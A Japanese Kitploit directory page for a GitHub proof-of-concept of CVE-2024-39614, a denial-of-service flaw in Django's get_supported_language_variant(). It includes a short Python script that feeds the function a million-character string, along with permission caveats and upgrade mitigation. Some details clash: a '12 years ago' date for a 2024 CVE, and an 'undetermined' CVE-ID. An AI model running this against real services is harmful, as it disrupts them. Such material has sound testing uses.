Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
-CVE-2024-39614 — CVE-2024-39614に対する概念実証エクスプロイト。Djangoのget_supported_language_variant()関数におけるサービス拒否脆弱性で、バージョン5.0<5.0.7および4.2<4.2.14に影響します。 | Kitploit
ツール/GitHubGitHub/abdurahmon3236/-cve-2024-39614
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテスト
GitHubabdurahmon3236/-cve-2024-39614

-CVE-2024-39614

CVE-2024-39614に対する概念実証エクスプロイト。Djangoのget_supported_language_variant()関数におけるサービス拒否脆弱性で、バージョン5.0<5.0.7および4.2<4.2.14に影響します。

リポジトリを見る
12年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Djangoにおけるサービス拒否脆弱性の概念実証(PoC)

このリポジトリには、Django 5.0(5.0.7より前)および4.2(4.2.14より前)におけるサービス拒否(DoS)脆弱性を実証する概念実証(PoC)スクリプトが含まれています。この脆弱性は、特定の文字を含む非常に長い文字列を処理する際に、get_supported_language_variant()関数で発生する可能性のあるDoS攻撃に関連しています。

目次

  • 脆弱性の説明
  • セットアップと使用方法
    • PoCスクリプト
  • 重要な考慮事項
  • 緩和策

脆弱性の説明

CVE-ID: (未定)

概要: Django 5.0(5.0.7より前)および4.2(4.2.14より前)のget_supported_language_variant()関数は、サービス拒否攻撃に対して脆弱です。この関数は、特定の文字を含む非常に長い文字列を送信することで悪用される可能性があり、リソースの枯渇を引き起こし、その結果としてサービス拒否状態に陥る恐れがあります。

影響を受けるバージョン:

  • Django 5.0(5.0.7より前)
  • Django 4.2(4.2.14より前)

修正されたバージョン:

  • Django 5.0.7
  • Django 4.2.14

セットアップと使用方法

前提条件

  • Python 3.x
  • Djangoがインストールされていること(pip install django)

PoCスクリプト

このスクリプトは、攻撃者がget_supported_language_variant()関数に非常に長い文字列を送信することで脆弱性を悪用する方法を示しています。

以下のスクリプトをdos_poc.pyとして保存し、実行してください。

root@kitploit:~
import django
from django.utils.translation import get_supported_language_variant

# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
    print("[-] This Django version is vulnerable to the DoS attack.")
else:
    print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")

# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!'  # Adjust the length and content as necessary

def test_dos_vulnerability():
    try:
        # Trigger the vulnerability
        get_supported_language_variant(very_long_string)
        print("[+] Successfully called get_supported_language_variant with a very long string.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    test_dos_vulnerability()

説明

  1. Djangoバージョンの確認: スクリプトはまず、インストールされているDjangoバージョンがDoS攻撃に対して脆弱かどうかを確認します。
  2. 非常に長い文字列の生成: 特定の文字を含む非常に長い文字列を生成します。脆弱性を発動させるために、必要に応じて長さや内容を調整します。
  3. テスト関数: test_dos_vulnerability()関数が、生成した非常に長い文字列を引数としてget_supported_language_variant()を呼び出し、脆弱性をテストします。
  4. スクリプトの実行: 実行されると、スクリプトは脆弱性の悪用を試み、結果を出力します。

重要な考慮事項

  • 許可: 対象システムでこの脆弱性をテストするための明確な許可を得ていることを確認してください。無許可のテストは違法であり、非倫理的です。
  • テスト環境: 本番システムに影響を与えないよう、管理された環境でテストを実施してください。
  • リソース消費: このPoCは、システムリソースを大量に消費する可能性があります。システムを監視し、必要に応じてスクリプトを停止できるように準備してください。

緩和策

この脆弱性を緩和するには、修正されたバージョンのDjangoにアップグレードしてください。

  • Django 5.0.7
  • Django 4.2.14

公式のDjangoアップグレード手順に従って、Djangoのインストールを最新のセキュアなバージョンに更新してください。

ソフトウェアを常に最新の状態に保ち、セキュリティのベストプラクティスに従うことで、DjangoにおけるこのDoS問題のような脆弱性を防ぐことができます。

ツールをダウンロード